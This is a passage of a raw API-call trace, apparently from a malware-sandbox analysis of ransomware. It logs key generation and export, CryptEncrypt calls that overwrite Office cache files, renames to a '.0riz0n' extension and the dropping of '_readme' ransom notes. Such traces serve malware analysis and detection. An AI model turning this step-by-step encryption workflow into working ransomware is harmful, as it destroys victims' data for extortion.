lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0068.720] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0068.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2bba00) returned 0x2350020 [0068.721] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0x2bba00, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0x2bba00, lpOverlapped=0x0) returned 1 [0068.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2bba00) returned 0x2610020 [0068.814] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0068.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2bba00) returned 0x2350020 [0068.826] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0068.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2610020) returned 1 [0068.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2bbe00) returned 0x2610020 [0068.888] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610020*, pdwDataLen=0x17af858*=0x2bba00, dwBufLen=0x2bbe00 | out: pbData=0x2610020*, pdwDataLen=0x17af858*=0x2bba10) returned 1 [0068.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2bba40) returned 0x28d0020 [0068.945] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0068.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2610020) returned 1 [0068.970] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0068.970] WriteFile (in: hFile=0x1f0, lpBuffer=0x28d0020*, nNumberOfBytesToWrite=0x2bba00, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x28d0020*, lpNumberOfBytesWritten=0x17af85c*=0x2bba00, lpOverlapped=0x0) returned 1 [0068.997] FlushFileBuffers (hFile=0x1f0) returned 1 [0069.006] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.006] NtClose (Handle=0x1f0) returned 0x0 [0069.045] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.0riz0n")) returned 1 [0069.046] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0069.046] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0069.046] GetLastError () returned 0x2 [0069.046] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6668, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0069.046] GetLastError () returned 0x2 [0069.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.047] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.047] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0069.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0069.048] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0069.048] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3dfcc910, dwHighDateTime=0x1d59598)) returned 1 [0069.048] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.048] NtClose (Handle=0x1f0) returned 0x0 [0069.049] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0069.049] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0069.049] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0069.049] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x28d0020) returned 1 [0069.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0069.062] CryptDestroyKey (hKey=0x459b38) returned 1 [0069.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0069.062] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0069.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.063] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0069.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0069.063] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0069.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0069.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.063] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0069.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0069.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.064] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1 [0069.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.064] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0069.064] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xee827f20, dwHighDateTime=0x1d301be)) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.064] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0069.064] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0069.064] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.064] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0069.065] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.065] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0069.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc80) returned 0x1acf180 [0069.065] ReadFile (in: hFile=0x1f0, lpBuffer=0x1acf180, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesRead=0x17af85c*=0xc72, lpOverlapped=0x0) returned 1 [0069.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc80) returned 0xf47748 [0069.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0069.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xc80) returned 0x1acf180 [0069.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1080) returned 0xf47748 [0069.067] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf47748*, pdwDataLen=0x17af858*=0xc72, dwBufLen=0x1072 | out: pbData=0xf47748*, pdwDataLen=0x17af858*=0xc80) returned 1 [0069.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.067] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.067] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acf180*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesWritten=0x17af85c*=0xc72, lpOverlapped=0x0) returned 1 [0069.067] FlushFileBuffers (hFile=0x1f0) returned 1 [0069.070] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.070] NtClose (Handle=0x1f0) returned 0x0 [0069.071] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.0riz0n")) returned 1 [0069.071] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0069.072] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0069.072] GetLastError () returned 0x2 [0069.072] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6688, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0069.072] GetLastError () returned 0x2 [0069.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.072] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.072] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0069.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x1baf768 [0069.073] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f5, lpOverlapped=0x0) returned 1 [0069.073] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3dff2a70, dwHighDateTime=0x1d59598)) returned 1 [0069.073] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.074] NtClose (Handle=0x1f0) returned 0x0 [0069.074] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0069.074] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0069.075] CryptDestroyKey (hKey=0x459b38) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.075] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0069.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0069.075] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0069.075] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.076] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0069.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0069.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.076] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1 [0069.076] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.076] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.076] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0069.076] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf00db300, dwHighDateTime=0x1d301be)) returned 1 [0069.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.076] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0069.077] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0069.077] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.077] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0069.077] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.077] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0069.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1080) returned 0xf47748 [0069.077] ReadFile (in: hFile=0x1f0, lpBuffer=0xf47748, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf47748*, lpNumberOfBytesRead=0x17af85c*=0x106f, lpOverlapped=0x0) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1080) returned 0xfa2210 [0069.079] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1080) returned 0xf47748 [0069.079] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.079] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa2210) returned 1 [0069.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1480) returned 0xfa2210 [0069.079] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, 